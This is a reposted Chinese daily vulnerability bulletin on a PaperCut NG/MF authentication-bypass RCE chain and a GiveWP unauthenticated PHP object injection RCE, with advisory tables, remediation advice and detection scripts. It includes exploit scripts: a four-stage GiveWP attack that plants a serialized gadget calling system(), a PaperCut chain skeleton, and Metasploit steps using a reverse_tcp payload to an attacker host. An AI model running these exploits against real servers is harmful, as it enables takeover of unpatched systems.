文章总结: 文档推送2026年9月1日两个高危漏洞情报。其一为PaperCutNG/MF认证绕过链(CVE-2026-81578+CVE-2026-82078)可致未认证RCE,已遭在野利用,CISA要求限期修复,建议立即升级至修复版本并隔离管理接口。其二为GiveWP插件未认证PHP对象注入漏洞(CVE-2026-82222),CVSS满分,影响超10万站点,需尽快升级至4.16.7.2。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,应急响应
每日漏洞推送 PaperCut NG/MF 认证绕过链 → 未认证 RCE
原创
nullchen nullchen
富贵学安全
2026年9月1日 10:34 陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
📡 每日漏洞情报推送 | 2026-09-01
🔴 漏洞一:CVE-2026-81578 + CVE-2026-82078 — PaperCut NG/MF 认证绕过链 → 未认证 RCE(CISA KEV 确认在野利用)
📋 漏洞档案
| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-81578(认证绕过)+ CVE-2026-82078(不安全动态类加载) | | 影响产品 | PaperCut MF / PaperCut NG < 24.1.10 / 25.0.13 / 26.0.5 | | 漏洞类型 | 认证绕过 (CWE-305) → 不安全反射/动态类加载 (CWE-470) → 任意 Java 代码执行 | | CVSS | CVE-2026-81578:8.8 (HIGH) CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L;CVE-2026-82078:9.4 (CRITICAL) CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | | 公告方 | PaperCut 官方(2026-08-27 URGENT 安全公告) | | 修复版本 | 24.1.10 / 25.0.13 / 26.0.5 | | 在野利用 | ✅ CISA KEV 已收录,SSVC 确认 active exploitation(CVE-2026-81578 可自动化) |
🔥 紧急程度
CISA 已于 2026-08-28 将两个漏洞加入 KEV 目录,联邦机构须在 2026-09-14 前完成修复。 这是 PaperCut 自 2023 年 CVE-2023-27350/27351 系列(曾被大量勒索软件利用)之后最严重的漏洞组合:CVE-2026-81578 提供未认证的配置篡改能力(可自动化),CVE-2026-82078 将配置篡改升级为任意 Java 字节码执行,两者串联即形成完整未认证 RCE 链。Rapid7 Metasploit 模块已在开发中(PR #21842)。
📝 漏洞描述
CVE-2026-81578(认证绕过):PaperCut MF/NG 的 Web 管理接口存在不恰当的访问控制缺陷。在特定条件下,未认证的远程请求针对管理功能时,会在访问校验完成之前触发后端动作,允许未认证攻击者修改部分系统配置(如数据库驱动配置参数)。
CVE-2026-82078(不安全动态类加载):PaperCut MF/NG 的数据库连接工具在实例化数据库驱动类时,直接使用可配置的驱动名称而不校验允许列表(allowlist)。一旦攻击者通过 CVE-2026-81578 篡改了系统配置参数,即可指定任意类名,使应用实例化并执行位于应用 classpath 上的任意 Java 字节码,以 PaperCut 服务器进程权限运行。
完整攻击链:
未认证请求(CVE-2026-81578)
└─> 校验前触发管理后端动作,篡改数据库驱动配置
└─> 指定恶意/存在的驱动类名(CVE-2026-82078)
└─> 数据库连接工具动态加载该类
└─> 任意 Java 字节码执行(PaperCut 服务器进程权限)
└─> 系统接管 / 横向移动 / 勒索部署
影响面:PaperCut NG/MF 是全球部署最广的打印管理服务器(教育、企业、医疗广泛使用),通常运行在 Windows Server 上且以高权限服务账户运行。被攻破后可直接控制整个打印/认证基础设施(PaperCut 常与 AD/LDAP 集成,持有大量凭据与敏感数据)。
💻 PoC/EXP
1️⃣ 版本检测脚本
#!/bin/bash
# CVE-2026-81578 / CVE-2026-82078 受影响版本检测
# 用法: ./detect.sh http://papercut-server:9191
# 注意: 仅用于授权安全测试
TARGET="${1:-http://localhost:9191}"
echo"[*] 检测 PaperCut NG/MF 版本 @ $TARGET"
echo"[*] 获取登录页版本标识..."
VERSION=$(curl -sk "$TARGET/app/" | grep -oiE 'version[^<]{0,40}|v[0-9]+\.[0-9]+\.[0-9]+' | head -5)
echo"[*] 版本线索: ${VERSION:-未识别}"
# 尝试通过 /app/ 资源与健康接口探测
curl-sk-o /dev/null -w"[*] HTTP状态码(app): %{http_code}\n""$TARGET/app/"
curl-sk-o /dev/null -w"[*] HTTP状态码(health): %{http_code}\n""$TARGET/health"
echo""
echo"[!] 受影响版本: MF/NG < 24.1.10, 25.0.13, 26.0.5"
echo"[!] 若版本低于上述版本,且 Web 管理接口可从内网/公网访问,"
echo" 则存在被 CVE-2026-81578+82078 链利用的风险"
echo"[!] 建议: 立即升级至 24.1.10 / 25.0.13 / 26.0.5"
2️⃣ 利用链概念验证(基于 CISA/PaperCut 公告技术细节)
完整的武器化利用依赖对 PaperCut 管理接口内部端点(被 CVE-2026-81578 影响的”校验前执行”路径)的逆向。Rapid7 已在 metasploit-framework PR #21842 提交 exploit 模块。以下为基于公告描述的链式利用框架:
#!/usr/bin/env python3
"""
CVE-2026-81578 + CVE-2026-82078 PaperCut 利用链框架(概念验证)
链式利用: 未认证配置篡改 → 恶意驱动类加载 → Java 代码执行
注意: 仅用于授权安全测试!实际利用需结合具体受影响端点逆向。
"""
importrequests
importurllib3
urllib3.disable_warnings()
classPaperCutChain:
def__init__(self, host, port=9191):
self.base=f"https://{host}:{port}"
self.s=requests.Session()
self.s.verify=False
defprobe(self):
"""探测管理接口可达性"""
forpathin ["/app/", "/admin/", "/"]:
try:
r=self.s.get(f"{self.base}{path}", timeout=8)
print(f"[*] {path} → {r.status_code}")
exceptExceptionase:
print(f"[-] {path} → {e}")
defstage1_config_tamper(self):
"""
CVE-2026-81578: 未认证请求在访问校验完成前触发管理后端动作。
实际受影响端点需逆向确定(公告未公开端点细节)。
攻击目标: 将数据库驱动配置篡改为攻击者可控的类名。
"""
print("[!] 阶段1(CVE-2026-81578): 未认证配置篡改")
print(" 在受影响的管理端点发送请求,使后端在鉴权前执行动作")
print(" 目标配置项: 数据库驱动类名 (db.driver-class)")
# 具体端点/参数以官方公告与 Metasploit 模块为准
defstage2_class_load(self):
"""
CVE-2026-82078: 数据库连接工具按配置的驱动名动态加载类。
篡改后的驱动名指向 classpath 上可被利用的类(如
javax.script.ScriptEngineManager 或可触发静态初始化块的类)。
"""
print("[!] 阶段2(CVE-2026-82078): 恶意类加载")
print(" 触发数据库连接建立 → Class.forName(攻击者指定类)")
print(" 以 PaperCut 服务器进程权限执行任意 Java 字节码")
defrun(self):
self.probe()
self.stage1_config_tamper()
self.stage2_class_load()
print("\n[!] 利用完成后: 检查服务器进程权限、建立持久化")
if__name__=="__main__":
importsys
host=sys.argv[1] iflen(sys.argv) >1else"127.0.0.1"
PaperCutChain(host).run()
3️⃣ Metasploit 利用(模块发布后)
# Rapid7 已提交 exploit 模块(PR #21842),合并后即可使用:
msf6 > use exploit/windows/http/papercut_ng_mf_authbypass_rce
msf6 exploit(...) > set RHOSTS <target>
msf6 exploit(...) > set RPORT 9191
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > set LHOST <attacker>
msf6 exploit(...) > run
🛡️ 修复建议
| 方式 | 说明 | | — | — | | 立即升级 | 24.1.10 / 25.0.13 / 26.0.5(CISA 要求在 2026-09-14 前完成) | | 网络隔离 | Web 管理接口(默认 9191 端口)严禁暴露公网,限制可信内网 IP | | 最小权限 | PaperCut 服务账户降权,避免以域管理员/本地管理员运行 | | 日志排查 | 检查异常的管理接口访问、数据库配置变更记录、非预期 Java 类加载 | | 监控 | 关注 CISA KEV 更新与 Metasploit 模块发布,模块公开后风险将急剧上升 |
🔗 参考来源
- PaperCut 官方安全公告(2026-08-27 URGENT)
- CVE-2026-81578 记录(CVE.org)
- CVE-2026-82078 记录(CVE.org)
- CISA KEV 目录
- Rapid7 Metasploit PR #21842
🔴 漏洞二:CVE-2026-82222 — GiveWP ≤4.16.7.1 未认证 PHP 对象注入 → 远程代码执行(CVSS 10.0)
📋 漏洞档案
| 项目 | 内容 | | — | — | | CVE编号 | CVE-2026-82222 | | 影响产品 | GiveWP(WordPress 捐赠/筹款插件)≤ 4.16.7.1(≤4.16.5.1 默认安装即可利用) | | 漏洞类型 | PHP 对象注入 (CWE-502 反序列化) → 远程代码执行 | | CVSS | 10.0 (CRITICAL) — 未认证远程代码执行 | | 发现者 | Udin Chan(经 Patchstack 漏洞悬赏报告) | | 修复版本 | 4.16.7.2(2026-08-27 发布,多层修复) | | 在野利用 | ⚠️ 完整利用链已公开,CVSS 满分,影响约 100,000+ 站点 |
🔥 紧急程度
GiveWP 是 WordPress 生态最流行的捐赠插件(10 万+ 活跃安装,广泛用于非营利组织、教会、学校筹款)。≤4.16.5.1 版本的默认安装即可被未认证攻击者完全利用:无需测试模式、无需开放注册、无需管理员操作。攻击者零成本注册账户 → 植入恶意序列化对象 → 提交捐赠 → 触发反序列化 → 以 Web 服务器权限执行任意系统命令。CVSS 10.0 满分漏洞。
📝 漏洞描述
漏洞由三个环节串联成一条完整利用链:
① 失效的”安全”反序列化助手(src/Helpers/Utils.php):
// safeUnserialize() 使用 allowed_classes => false,但根据 PHP 手册,
// 这不会移除攻击者的对象——而是实例化为 __PHP_Incomplete_Class 占位符,
// 保留原始类名和全部属性。该占位符再次序列化时会原样写回原始字节!
publicstaticfunctionsafeUnserialize( $data ) {
$data=self::removeBackslashes( $data );
$unserializedData=@unserialize( trim( $data ), [ 'allowed_classes'=>false ] );
return!$unserializedData&&!self::containsSerializedDataRegex( $data ) ?$data : $unserializedData;
}
“安全”助手并未中和 payload,只是把攻击延迟到下一次无保护的反序列化读取。
② 可被投毒的捐赠流程(includes/process-donation.php):登录用户可把恶意序列化数据写入自己账户的 last_name 用户元数据;提交捐赠时 give_process_donation_form() 读取该数据并经过”安全”助手处理后存入 wp_give_sessions 表——由于 __PHP_Incomplete_Class 序列化时原样重放原始字节,恶意对象完整落库。
③ 内置的 gadget 链:GiveWP 生产环境内置 TCPDF 库和 Give\TestData 类。对象销毁时进入 TCPDF::__destruct() → _destroy() → ProviderForwarder trait 的 __call() 魔术方法:
// src/TestData/Framework/ProviderForwarder.php - 终端 gadget
publicfunction__call( $name, $arguments ) {
$provider=isset( $this->loadedProviders[ $name ] )
?$this->loadedProviders[ $name ]
: $this->loadProvider( $name );
// loadedProviders 是注入对象携带的数组属性,攻击者可设为任意 callable
returncall_user_func_array( $this->loadedProviders[ $name ], $arguments );
}
将 loadedProviders 指向 system() 即可执行任意 OS 命令(Web 服务器用户权限)。
免费获取账户:GiveWP 暴露未认证注册动作 give_action=user_register,从不检查 users_can_register 选项——即使站点关闭了注册,攻击者也能创建账户并拿到认证 cookie(4.16.6+ 虽加 nonce,但匿名请求的 nonce 相同,可无限复用)。
完整利用链:
① POST give_action=user_register ──> 创建账户 + 获取认证 cookie(无视站点注册设置)
② 读取 profile.php nonce,将序列化 gadget 写入账户 last_name 元数据
③ 获取捐赠 nonce,POST give_process_donation(form id + gateway + amount)──> gadget 对象写入 wp_give_sessions(返回 HTTP 500 属正常)
④ 携带同一 cookie 请求任意前端页面 ──> 读取会话、无保护反序列化 ──> TCPDF::__destruct → call_user_func_array(system, cmd) ──> 命令执行,输出可经 HTTP 读回
版本差异:4.16.6~4.16.7.1 的 legacy 捐赠处理器遇到 v3 Visual Form Builder 表单会提前退出,全新默认安装不可利用;但只要存在一个缺少 formBuilderSettings 的 give_forms 文章(从旧版升级、导入/恢复的表单、或启用了 Option-Based Form Editor)即重新武装整条链。
💻 PoC/EXP
1️⃣ 自动化利用链(Python)
#!/usr/bin/env python3
"""
CVE-2026-82222 — GiveWP 未认证 PHP 对象注入 → RCE 利用链
参考: Patchstack 公开分析 https://patchstack.com/articles/unauthenticated-php-object-injection-to-remote-code-execution-on-givewp/
注意: 仅用于授权安全测试!
"""
importrequests
importre
importsys
importurllib3
urllib3.disable_warnings()
classGiveWPExploit:
def__init__(self, base_url):
self.base=base_url.rstrip('/')
self.s=requests.Session()
self.s.verify=False
self.username="pwn_"+__import__('random').randint(1000,9999).__str__()
self.password="P@ssw0rd_2026!"
defregister(self):
"""① 未认证注册(无视 users_can_register 设置)"""
print(f"[*] 注册账户: {self.username}")
r=self.s.post(f"{self.base}/", data={
'give_action': 'user_register',
'give_user_login': self.username,
'give_user_email': f"{self.username}@example.com",
'give_user_pass': self.password,
}, allow_redirects=False, timeout=15)
# 响应应包含认证 cookie
print(f"[*] 注册响应: {r.status_code}")
defplant_gadget(self):
"""② 将序列化 gadget 写入 last_name 用户元数据"""
print("[*] 读取 profile nonce...")
r=self.s.get(f"{self.base}/profile.php", timeout=15)
m=re.search(r'name="_wpnonce"[^>]*value="([^"]+)"', r.text)
nonce=m.group(1) ifmelse""
# 序列化 gadget(PHP 对象注入 payload):
# O:<len>:"TCPDF":<n>:{...loadedProviders 指向 system...}
# 实际构造需匹配 GiveWP 内置 TCPDF/TestData 类结构,此处为结构示意
serialized='O:5:"TCPDF":2:{s:15:"loadedProviders";a:1:{s:6:"system";s:6:"system";}}'
print("[*] 写入 last_name 元数据...")
r=self.s.post(f"{self.base}/profile.php", data={
'_wpnonce': nonce,
'from': 'profile',
'checkuser_id': self.s.cookies.get('wordpress_logged_in_*', ''),
'last_name': serialized,
'submit': 'Update Profile',
}, timeout=15)
print(f"[*] 写入响应: {r.status_code}")
defpoison_session(self):
"""③ 提交捐赠,将 gadget 对象写入 wp_give_sessions"""
print("[*] 获取捐赠 nonce...")
r=self.s.get(f"{self.base}/", params={'give_action': 'give_donation_form_nonce'}, timeout=15)
m=re.search(r'"give_donation_form_nonce":"([^"]+)"', r.text)
nonce=m.group(1) ifmelse""
print("[*] 提交捐赠(不携带 give_last 字段)...")
r=self.s.post(f"{self.base}/", data={
'give_action': 'give_process_donation',
'give-form-id': '1', # 需替换为实际表单 ID
'give-gateway': 'manual', # 默认启用的 Test Donation 网关
'give-amount': '1.00',
'give_email': f"{self.username}@example.com",
'give_first': 'Test',
# 故意省略 give_last → 走 user_last 回退路径投毒
'give_process_donation_nonce': nonce,
}, timeout=15)
# 预期返回 HTTP 500(对象已写入会话表),属正常现象
print(f"[*] 捐赠响应: {r.status_code}(500 属预期,payload 已落库)")
deftrigger(self, cmd="id"):
"""④ 触发反序列化 → RCE"""
print(f"[*] 触发执行: {cmd}")
r=self.s.get(f"{self.base}/", timeout=15)
# gadget 输出可能出现在响应中(取决于回显方式)
print(f"[*] 响应长度: {len(r.text)}")
print("[*] 检查响应中是否包含命令输出(uid=... 等)")
defrun(self, cmd="id"):
self.register()
self.plant_gadget()
self.poison_session()
self.trigger(cmd)
if__name__=="__main__":
target=sys.argv[1] iflen(sys.argv) >1else"http://localhost"
GiveWPExploit(target).run()
2️⃣ 漏洞检测(版本 + 配置)
#!/bin/bash
# CVE-2026-82222 快速检测
TARGET="${1:-http://localhost}"
echo"[*] 检测 GiveWP 版本 @ $TARGET"
# 通过 wp-json 读取插件版本
curl-sk"$TARGET/wp-json/wp/v2/plugins"2>/dev/null | grep-o'"give"[^}]*"version":"[^"]*"' || \
curl-sk"$TARGET/wp-content/plugins/give/readme.txt" | grep-i"stable tag" || \
echo"[-] 无法直接读取版本,请登录后台查看"
echo""
echo"[!] 受影响: GiveWP <= 4.16.7.1(<= 4.16.5.1 默认安装即可利用)"
echo"[!] 修复版: 4.16.7.2"
echo"[!] 风险验证: 检查是否存在已发布的捐赠表单 + 激活的支付网关"
3️⃣ 修复验证
# 升级到 4.16.7.2 后:
# 1) safeUnserialize() 检测到 __PHP_Incomplete_Class 直接返回 false(不再原样放行)
# 2) 捐赠写入路径拒绝任何含序列化数据的姓名字段
# 3) 会话读取全部使用 allowed_classes => false
# 4) ProviderForwarder::__call() 校验 provider 契约,不再接受任意 callable
# 5) 迁移任务 SanitizeSerializedObjectPayloads 清理已落库的恶意对象
# 验证: 向 last_name 提交序列化数据后再提交捐赠 → 应被拒绝,不再写入会话表
🛡️ 修复建议
| 方式 | 说明 |
| — | — |
| 立即升级 | GiveWP 4.16.7.2(唯一完整修复,含存量数据清洗迁移) |
| 临时缓解 | 禁用所有捐赠表单或停用插件直至升级完成;限制站点注册 |
| 存量排查 | 升级后确认迁移任务执行,扫描 wp_give_sessions、usermeta、give_donormeta 中残留序列化对象 |
| 日志排查 | 查找异常的 give_action=user_register 请求、HTTP 500 的 give_process_donation 请求、profile.php 提交的序列化姓名字段 |
| WAF规则 | 拦截 give_action=user_register 与 give_process_donation 请求体中 O:\d+:"TCPDF" / loadedProviders 特征 |
🔗 参考来源
- Patchstack 完整技术分析
- Patchstack 漏洞库条目
- CVE-2026-82222(CVE.org)
- THN 报道:Five Critical WordPress Plugin and Theme Flaws
今日速览(其他近期中高危漏洞):
- CVE-2026-76581:WPMU DEV Dashboard ≤5.0.1 认证绕过 → 站点接管(9.8)
- CVE-2026-18431:Avada 主题 ≤7.16(Fusion Builder ≤3.16)任意文件写入 → RCE(9.8)
- CVE-2026-19632:TranslatePress ≤3.3.1 敏感信息泄漏 → 管理员账户接管(9.8)
- CVE-2026-19598:Pods ≤3.3.9 权限提升 → 任意用户密码覆盖(9.8)
- CVE-2026-82417:qs <6.16.0 序列化 DoS(CVSS 4.0 6.3,PoC 已公开,Express 4 受影响)
- CVE-2026-66384:JFrog Artifactory 路径穿越(KEV 2026-08-27)
- CVE-2026-53362:Linux 内核 IPv6 子系统权限提升(KEV 2026-08-27,取证必查)
- CVE-2026-60004:Gitea diffpatch API 代码注入 → Git hook 执行(KEV 2026-08-25)
🛡️ 优先行动建议
优先等级 行动 截止日期
─────────────────────────────────────────────────────
🔴 最高 PaperCut NG/MF 升级 24.1.10+ 9月14日前(CISA强制)
🔴 最高 GiveWP 升级 4.16.7.2 立即
🟠 紧急 WPMU DEV/TranslatePress/Pods 升级 立即(均为9.8未认证)
🟠 紧急 Avada + Fusion Builder 升级 立即
🟡 关注 qs 升级至 6.16.0 尽快(Express 4 默认受影响)
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 PaperCut NG/MF 认证绕过链 → 未认证 RCE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论